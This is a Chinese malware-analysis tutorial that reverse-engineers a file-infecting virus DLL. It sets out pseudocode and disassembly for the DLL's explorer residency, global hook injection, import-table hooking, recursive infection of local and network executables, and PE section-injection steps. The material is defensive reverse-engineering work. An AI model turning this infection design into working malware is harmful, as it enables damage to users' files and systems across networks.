从Loader的分析结果我们可以看出,main_virus.dll 的外部调用接口现在可以确定有两个,一个是DllMain,另一个是导出函数“Initiate”。分析main_virus.dll的主要调用流程就从这两个函数入手,这也是本小节的主要内容。
对于如何调试这个dll笔者再罗嗦几句,即使这对于牛们是小儿科类的东西。OD一类的调试器可以选择“模块加载时中断”的选项,该选项启用后,每当模块被映射到内存但还未执行模块入口点时会通知调试器,这时我们有处理机会。当然,这个时候读者也可以很容易找到模块入口点并设置断点。但要注意的是:这个入口点多数情况下并不是我们常用的DllMain函数。有人能通过经验一步一步跟踪到DllMain,但毕竟是经验,不是人人都可以很快地找到。怎么寻找DllMain更有效率的下断呢?笔者是采用了特征码搜索的方法。IDA成功解析出了DllEntryPoint,从这个函数里提取一段特征码,然后当OD中断于main_virus.dll加载的时候,在main_virus.dll的内存空间里搜索二进制字串就直接找到了DllMain。这样就能在DllMain中设置好断点直接F9。
6.2 分析DllMain
分析DllMain(IDA中名称是DllEntryPoint)过程中,主要调试了一些IDA无法成功识别的Borland C++库函数。比如字符串对象的构造函数,字符串对象复制函数以及对象销毁函数等等。这些在idb 文件中笔者都改名了,很方便地可以看出来(为了方便,用了英文)。结合idb 文件,下边给出DllEntryPoint的工作流程。
DWORD DllEntryPoint( HINSTANCE Instance,DWORD dwReason,DWORD reserved )
If( dwReason != DLL_PROCESS_ATTACH )
初始化 lpLibFileName 表示本模块全路径的字符串对象
if( 当前进程是 “explorer.exe” )
其主要功能就是判断当前被注入的进程是不是explorer,如果是则采取相应动作。下边给出Action函数的主要工作流程。分析此函数期间,用调试器确认了一下访问注册表用的类对象。
初始化注册表对象 class_
call_debug( class_reg );//可能用于调试项目,没作深入分析
hmutex = CreateMutexA( NULL,TRUE,”Residented”);//创建互斥量,表示已经驻留 explorer
LoadLibraryA( lpLibFileName );//增加模块引用计数,防止进行全局 HOOK 的程序退出时
explorer 中的此模块被卸载( Am I right ? )
DeleteTmpFile();// 删除临时目录中的所有 tmp 文件
SetRegDllPath();//设置注册表关于病毒的信息,还记得 Loader 中读出的 0x106 字节吗?
SetWindowsHookExA( WH_CALLWNDPROC,&Fn,NULL,GetCurrentThreadId());//设置局部钩子,函数 Fn 完成的功能主要是:当主窗口收到 WM_QUERYENDSESSION 或者WM_ENDSESSION 时 释放病毒申请的资源并强制退出进程。
If ( 线程对象未初始化 )
new 出一个线程对象并初始化;//此任务完成后,病毒将开启新线程执行感染操作,
后边我们会重点分析的地方之一。
If( 功能模块未初始化)
new 出一个功能模块对象并初始化;//此任务完成后,后门被安装,网络会被激活。
调试发现,F8 通过这里的时候,Windows 防火墙有反应。所以,这里和网络相关。后门部
分很有趣,这也是以后分析的重点。
//注意,伪码中均忽略关于异常处理以及和病毒功能无关的内容。
6.3 分析Initiate
Initiate是在Loader中被调用的,参数为Loader数据段的基址。结合idb 文件中给出的注释,下边同样给出Initiate的工作流程。
Initiate( PVOID DataBase )
//下边三个 if 语句对“是否存在”的判断是根据 DataBase 中偏移 0x4c,0x50,0x54 处的三
个值进行的。这三个值应该是三个函数对应宿主程序输入表的 VA 值。
//三个接管函数中都提取了要打开的文件名,并依此为参数调用了 stud_openfile。
If( 宿主程序输入表中存在_lopen )
输入表挂钩 _lopen 函数,接管函数为 my_
If( 宿主程序输入表中存在 OpenFileA )
输入表挂钩 OpenFileA 函数,接管函数为 myOpenF
If( 宿主程序输入表中存在 CreateFileA )
输入表挂钩 CreateFileA 函数,接管函数为 myCreateFileA;
创建注册表对象
If( 打开互斥量“Residented”成功 )
//病毒已经驻留 explorer.exe
If(读取病毒注册表信息失败)
关闭打开的句柄
If( 病毒版本号小于 2 或者大于等于 7)
关闭打开的句柄;
//设置全局钩子,将 Dll 注入所有进程中。p_hModule 代表本 dll 模块,AttachHook 什么
SetWindowsHookExA( WH_CALLWNDPROC,&AttachHook,p_hModule,NULL );
可见,如果病毒未侵入explorer,则Initiate负责将dll注入所有进程中(这个结论忽略了具体的细节,请参看伪码)。至于进行输入表HOOK的部分,这里只介绍一下stud_openfile 的功能,如果读者有兴趣,自行去idb 文件里看看。stud_openfile判断宿主程序将要打开的文件是不是病毒指定的文件(4017F9的CALL产生的这个文件名,笔者未深入调试这个文件名具体是什么),如果是则复制该文件(如果存在的话)到临时目录,执行解毒操作,并返回1,以便让my_***函数打开该“正常”的临时文件,返回句柄给宿主程序。如果不是,则返回0,让my_***函数打开原始文件,返回正常的句柄给宿主程序。这个功能可能是用来欺骗一些系统程序的,当然笔者未做深究,这里就不过多评论了。
6.4 分析main_virus.dll的感染部分
通过上边对main_virus 的结构的粗略分析,我们可以发现,只有dll 被注入名称为explorer.exe的进程中时,Action函数才会被调用。也就是说,感染部分的代码是在explorer进程的执行的。为了方便调试,笔者自己写了个控制台程序,命名为explorer,功能就是简单的加载main_virus.dll然后一直等待。以后,直接调试这个伪explorer即可。测试证明,让这个explorer跑起来以后,系统确实被感染。证明main_virus.dll正常工作了。
在分析感染部分的时侯,着实遇到了不少麻烦。首先就是如何找到感染相关的核心代码。其次就是面向对象编程相关的问题,在这种情况下,如果想弄清楚细节,不得不分析整个类的数据结构。由于没啥经验,在这里消耗了不少时间。下边主要针对这两个问题进行阐述。 寻找感染核心代码刚开始的思路是下断CreateFileA(W),ReadFile,WriteFile,FindFileFirstA(W)等函数,然后单步跟踪DllEntryPoint中出现的Action 函数,料想步过某个CALL的时候会触发断点。然而这个方法失败了。沮丧之余,保存一下虚拟机快照,下断CreateFile之后(为什么下断这个函数?),直接F9 跑起来,结果成功触发断点。难道是在一个新线程中运行的感染代码?打开线程窗口,发现有三个线程,当前中断的线程不是主线程。可见病毒确实是在一个新线程中执行感染操作的。为了验证这结论,重新加载程序,下断CreateThread,然后重复上边的方法,单步跟踪DllEntryPoint中的Action函数,结果在步过401CB6(这个地址是idb中的地址。因为dll加载基址不确定,所以需要一些计算得到这个地址,此后出现的地址均是idb中的地址,和实际调试时候的地址可能不同。) 处的CALL时,CreateThread断点被触发。因此判断这个CALL和病毒感染相关。顺便再提一句,接下来的一个CALL(401C02)在步过的时候触发了Windows网络防火墙,而且步过的时候感觉时间明显有点儿长,所以初步判定该CALL会激活网络功能。
言归正传,我们继续分析感染部分的代码结构。既然已经知道感染代码在新线程中执行,那么线程函数在哪里?利用一下栈回溯信息。通过对栈回溯信息的分析,我们可以得到如下的调用序列: 404ED0?50C?4A0?403F48?CreateFileA 可见函数404ED0是调用的源头,在idb文件中,笔者将此函数命名为:ThreadFunc。然而这个函数是创建线程调用CreateThread时候的线程入口参数吗?调试表明不是。调试器显示调用CreateThread的线程入口参数是446E48, 在函数446E48 中有条CALL EDX 指令,继续调试,call edx 调用的是函数43D144。而在函数43D144中的指令 call dword ptr[edx+4]调用的是404ED0,这才到达我们的“ThreadFunc”。为什么这么麻烦?貌似这就是面向对象的特点,是BC++库对线程类封装的结果。在将来的要分析的一些函数中有些参数可能就是对应的线程类对象的指针,用于线程的控制调度等,大家在看idb文件的时候可以留意一下。下边我们从ThreadFunc开始分析病毒的感染原理和过程。 一些函数笔者已经重命名了,一看便知道是什么含义。但如果想练习的话,最好亲自分析调试一下。这其中的煎熬真是很难用言语表达出来的,当然,根本原因还是经验不足的事情。
VOID ThreadFunc()
//虽然无参数,但 eax 传入了线程对象指针,用来控制线程生命周期
randomize(time(0));
//初始化随机数生成器
while( 1 )
attack_local_file();//注意这个死循环过程中是在不断检测线程对象的数据块的,如
果某标志被设置,这循环会退出,函数将返回。下边给出对应的汇编代码来说明问题。
text:00404EE4 loc_404EE4: ; CODE XREF: ThreadFunc+1Fj
.text:00404EE4 mov eax, ebx
.text:00404EE6 call attack_local_file
.text:00404EEB
.text:00404EEB loc_404EEB: ; CODE XREF: ThreadFunc+12j
.text:00404EEB cmp byte ptr [ebx+0Ch], 0
.text:00404EEF jz short loc_404EE4
;可见,线程对象数据块偏移 0ch 如果不为 0,则循环会退出,线程将结束,后边这个标志会
;多次被用到,笔者不会再作过多说明,只需要记住 0ch 这个常数曾经出现过就可以了。至
;伪代码中为什么写成死循环,笔者认为检测这个标志的代码是编译器自动生成的,不是人
;的,而死循环更符合人的逻辑。
.text:00404EF1 pop ebx
.text:00404EF2 retn
.text:00404EF2 ThreadFunc endp
VOID attack_local_file()
//传入了线程对象指针
CHAR buffer[ 0x69];
If( !GetLogicalDriveStringsA( 0x69,buffer ) )
for( i = 0;buffer[i] != 0;i += 4 )
drive_type = 0;
drive_type = GetDriveTypeA(buffer + i );
if( drive_type == DRIVE_FIXED || drive_type == DRIVE_REMOTE )
spread_dir( buffer + i );//参数为路径名的字符串,实际上是一个字符串对象
VOID spread_dir( LPCSTR Path )
//传入了线程对象指针
WIN32_FIND_DATA
filename[256];
If( 白名单配置开启 ) //线程对象数据块偏移 0x140 位置的双字是否为 2
If( strcmpiA( Path, 白名单目录 ) == 0 ) //线程对象偏移 0x3c 的地方是白名单目录字
符串缓冲区
find_exefile2( Path,”*.exe”);
find_exefile2( Path,”*.scr”);//在 Path 目录下搜索并感染的 exe 和 scr 文件
strcpy( filename,Path );//别告诉笔者要栈溢出哦,这可不是重点!
strcat( filename,”*.*”);
hFind = FindFirstFileA( filename,&findInfor );
if( hFind == INVALID_HANDLE_VALUE )
findInfor.cfileName[0]
findInfor.dwFileAttributes
FILE_ATTRIBUTE_DIRECTORY) )
strcpy( filename,findInfor.cfileName );
strcat( filename,”\\”);
spread_dir( filename );//递归调用,感染子目录
while( FindNextFileA( hFind,&findInfor) )
findInfor.cfileName[0] != ‘.’ && ( findInfor.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) )
strcpy( filename,findInfor.cfileName );
strcat( filename,”\\”);
spread_dir( filename );//递归调用,感染子目录
FindClose( hFind );
find_exefile2( LPSTR parent_path,LPSTR filename )
//传入了线程对象指针
WIN32_FIND_DATA
full_filename[256];
strcpy( full_filename,parent_path );
strcat( full_filename,filename );
hFind = FindFirstFileA( full_filename,&findInfor );
if( hFind == INVALID_HANDLE_VALUE )
strcpy( full_filename,parent_path );
strcat( full_filename,findInfor.cfileName );
if( QueryWhiteList( findInfor.cfileName ) & 0 )//如果找到的文件不在白名单列表中
注意:此处是猜测的结果,没有深入分析。因为在分析函数 CreateThreadClass 的过程中发现
病毒搜索了一此特定的 exe 文件以及系统 dllcache 目录中的一些文件并将搜索到的文件名加
入字符串列表中。而最可能引用此列表的就是此处了。为何本函数命名为 find_exefile2,原因
就在于先分析的 CreateThreadClass,CreateThreadClass 中搜索文件用了函数 find_exefile。结
合上边的信息,所以有上面的猜测,此处是白名单的判断。对应的 CALL 是这里:
.text: mov eax, [ebp+control_block]
.text: lea edx, [ebp+var_18]
.text: mov eax, [eax+38h]
.text: mov edx, [edx]
.text:0040564B mov ecx, [eax]
.text:0040564D call dword ptr [ecx+50h] ; QueryWhiteList ?
.text: test eax, eax
.text: jge short loc_40566D
If( AttackExeFile( full_filename ) == 10 )
If( !RecoverExeFile( full_filename ) )
AttackExeFile( full_filename );
下边对当前是否在网络目录中的判断是通过查询线程对象偏移 34h 处的标志实现的,如果
为 0,则表示不在网络目录中,否则表示当前目录为网络目录。
If( 本次递归不在网络目录中 )
spread_network(); //搜索网络资源并感染。从这里也可看出,网络感染优先级更高
while( FindNextFile( hFind,&findInfor )
strcpy( full_filename,parent_path );
strcat( full_filename,findInfor.cfileName );
if( QueryWhiteList( findInfor.cfileName ) & 0 )//如果找到的文件不在白名单列表中
If( AttackExeFile( full_filename ) == 10 )
If( !RecoverExeFile( full_filename ) )
AttackExeFile( full_filename );
If( 本次递归不在网络目录中 )
spread_network();
FindClose( hFind );
DWORD AttackExeFile( LPSTR exe_filename )
CMyFileObject
*exefile = new CMyFileObject( exe_filename );
If( !exefile-&get_errorcode() )
CheckAndUpdateExe( exefile );//真实的写法可能是:exefile-&CheckAndUpdateFile();
return exefile-&get_errorcode();//delete 对象等操作在伪代码中忽略。
在调试该函数的时候,发现步过 40487D 的时候,CreateFileA 调用了再次,一次打开病毒dll 模块文件,一次打开当前要感染的 exe 文件。而在接下来的 4048A8 的 CALL 里多次调用eadFile 和 WriteFile。说明后边那个函数会处理感染文件的细节。先大致浏览一下后面这个CALL 里的内容,发现到处都会引用传入的对象指针。如果弄不清楚该对象的内存结构和对象成员含义则很难继续分析。无奈,只能返回去一点一点分析 40487D 这个 CALL。弄清楚所创建的对象内存结构。在 idb 文件中笔 者将 40487D 处调用的初始化对象重命名为Constructor_obj。伪码中的 new 其实包含了两部分,一是调用 Constructor_obj 之前申请 0x44字节内存的操作,二是调用 Constructor_obj 构造类对象的操作。在分析完 Constructor_obj之后,我们可以得到如下关于 CMyFileObject 的内存布局信息:CMyFileObject memory layout:
class_base:
+0x00:obj_2:object size 0x14
+0x08:class_base
+0x0c:obj_3:object or buffer size 0x78
+0x10:var_xx = 0:int :?
+0x04:obj_4:object size 0x0c
+0x00:class_base
+0x04:obj_5:object size 0x14
+0x08:obj_6:object size 0x04
+0x00:class_base
+0x0c:obj_7:object size 0x0c
+0x00:class_base
+0x04:module_filename:string
+0x08:hFile to module:handle
+0x10:obj_8:object size 0x04
+0x00:class_base
+0x14:obj_9:object size 0x0c
+0x00:class_base
+0x04:var_xxx = 0:int ?
+0x08:obj_10:object size 0x40
+0x18:var_1 = 0:a flag ,when is 0x0b,module_file_handle is invalid
+0x1c: ExeFilePath:String
+0x20:obj_1:object
init to :E8 7D 01 00 00
or buffer ?
//call ……?
+0X24:file_handle:handle to file 0x1c
+0x28:org_file_attribute:int
+0x2c:file_creation_time:FILE_TIME
+0x34:file_last_access_time:FILE_TIME
+0x3c:file_last_write_time:FILE_TIME
如果想了解细节,请浏览 idb 文件中函数 Constructor_obj 中的注释。
DWORD CheckAndUpdateExe( CMyFileObject *file )
if( !CheckFlagPE( file-&header_obj ) )//offset :base + 0x00
if( !CheckSectionHeaderSpace( file-&header_obj ) )// offset base + 0x00
if( !CheckSection( file-&section_obj ))
// offset:base + 0x10
CreateMySectionName( file-&section_obj ); //offset :base + 0x10
InitNewSectionHeaderContent( file-&header_obj );//offset :base + 0x00
GenVarLoaderCode(varloader_obj); // offset :base + 0x14
if( !UpdateImportTable( file-&import_table_obj )) // offset :base + 0x04
WriteHeaders( file-&header_obj );
WriteLoaderCode( file-&loader_obj );
WriteVirusCode( file );
WriteAdditionalString( file );
WriteEncodedModuleFile( file );
此函数中各个子函数都是经过一个个分析完,然后根据其含义进行命名的。由于目前子函数
还未进行分析,现在给出结论还不合适,等各个子函数分析完成后,笔者会对此函数再进行
一下总结。
[B]提示:以下的函数注解中大量出现了 CObject, 这是笔者杜撰的,如果要了解对应参数的
详细情况,请看汇编代码中调用相应函数是传入的 obj 具体是什么对象(参考 CMyFileObject
的内存布局)。
CheckFlagPE( CObject *obj )
读取可执行文件的 NT 头的文件偏移到 obj 所指对象的指定偏移处;
if( 可执行文件的大小大于 0x78 )// 0x78 是不包含数据目录的 NT 头大小
读取 NT 头到 obj 所指对象的指定偏移处所标识的缓冲区;//不包含数据目录
if( NT 头签名有效)
设置 obj 基类的出错码为 2
分析完此函数后,我们能得到关于 CMyFileObject 的如下信息
class_base:
+0x00:obj_2:object size 0x14
+0x04:nt headers’ file offset: size 4
+0x08:class_base
+0x0c:buffer_nt_headers size 0x78
出错码 2 表示无效的 PE 文件(INVALID_PE_FLAG )
CheckSectionHeaderSpace( CObject *obj )
if( 剩余的节表空间不足 1 个节的容量 )
设置出错码为 3
申请大小为
( 原 始 节 数 +1)*sizeof(IMAGE_SECTION_HEADER) 的 空 间 将 指 针
section_buffer 放到 obj 所指对象的指定偏移处;
将原始有效的节内容读到 section_buffer 中;
将接下来未用的一个未用节的原始内容读到 obj 所指对象的基类 CMyFileObject 对象的
20h 偏移所旨缓冲区的 0x58 偏移处;
将原始节的个数信息存到 obj 所指对象的指定偏移处。
分析完此函数,我们得到如下信息:
出错码 3 表示节表空间不足( NOT_ENOUGH_SECTION_HEADER_SPACE )
CMyFileObject 的类信息:
class_base:
+0x00:obj_2:object size 0x14
+0x00:number_sections
+0x04:nt headers' file offset: size 4
+0x08:class_base
+0x0c:buffer

我要回帖

更多关于 应用宝下载安装到手机 的文章

 

随机推荐